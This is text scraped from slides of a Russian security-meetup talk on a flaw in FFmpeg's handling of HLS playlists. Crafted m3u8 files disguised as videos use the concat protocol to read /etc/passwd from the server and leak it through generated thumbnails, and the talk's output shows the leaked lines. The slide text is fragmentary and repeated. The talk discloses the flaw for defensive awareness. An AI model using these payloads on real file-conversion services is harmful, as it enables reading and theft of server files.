21
Опасное видео Максим Андреев, программист бэкенда Облако Mail.Ru

Security Meetup 22 октября. «Опасное видео». Максим Андреев. Облако Mail.Ru

Embed Size (px)

Citation preview

Опасное видеоМаксим Андреев, программист бэкенда Облако Mail.Ru

FFmpeg• поддержка более 400 кодеков и 300 форматов• открытый исходный код• активная разработка• большое сообщество

Часто используется для конвертации видео и генерациитамбнейлов

test.avi = aaaa.mov = bbbb.123

cp test.avi aaaa.movcp test.avi bbbb.123

Все сконвертировалось:

ffmpeg -i orig.avi out.mp4ffmpeg -i aaaa.mov out.mp4ffmpeg -i bbbb.123 out.mp4

ffmpeg не обращает внимания на расширение файла (∗)

HTTP Live Streaming - HLS

test.m3u8 | test.(avi |mp4|mov)

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,http://cdev.dx.su:1234/8.mp4#EXT-X-ENDLIST

ffmpeg -i /usr/local/share/wireshark/help/faq.txt out.mp4

ffmpeg -i /usr/local/share/wireshark/help/faq.txt out.mp4

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,http://www.msu.ru/index.php?.txt#EXT-X-ENDLIST

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,http://www.msu.ru/index.php?.txt#EXT-X-ENDLIST

concat - Read and seek from many resources in sequence as if theywere a unique resource.

http://dx.su/header.m3u8

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:,http://example.org?

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,concat:http://dx.su/header.m3u8|file:///etc/passwd#EXT-X-ENDLIST

⇓http://example.org?# $FreeBSD: release/10.0.0/et..

concat - Read and seek from many resources in sequence as if theywere a unique resource.

http://dx.su/header.m3u8

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:,http://example.org?

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,concat:http://dx.su/header.m3u8|file:///etc/passwd#EXT-X-ENDLIST

⇓http://example.org?# $FreeBSD: release/10.0.0/et..

YUV4MPEG2 - без сжатия, 1 пиксель - 8 бит

http://dx.su/header.y4m

YUV4MPEG2 W30 H30 F25:1 Ip A0:0 CmonoFRAME

video.mp4

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,concat:http://dx.su/header.y4m|file:///etc/passwd#EXT-X-ENDLIST

ffmpeg -i video.mp4 thumbnail.png

ffmpeg -i thumbnail.png out.y4m

YUV4MPEG2 W30 H30 F25:1 Ip A0:0 CmonoFRAME# $FreeBSD: release/10.0.0/etc/master.passwd 256366

2013-10-12 06:08:18Z rpaulo $↪→

#root:*:0:0:Charlie &:/root:/usr/local/bin/zshtoor:*:0:0:Bourne-again Superuser:/root:...

http://dx.su/header.m3u8

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:,http://example.org?

movie.mp4

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,concat:http://dx.su/header.m3u8|file:///etc/passwd#EXT-X-ENDLIST

Что в итоге?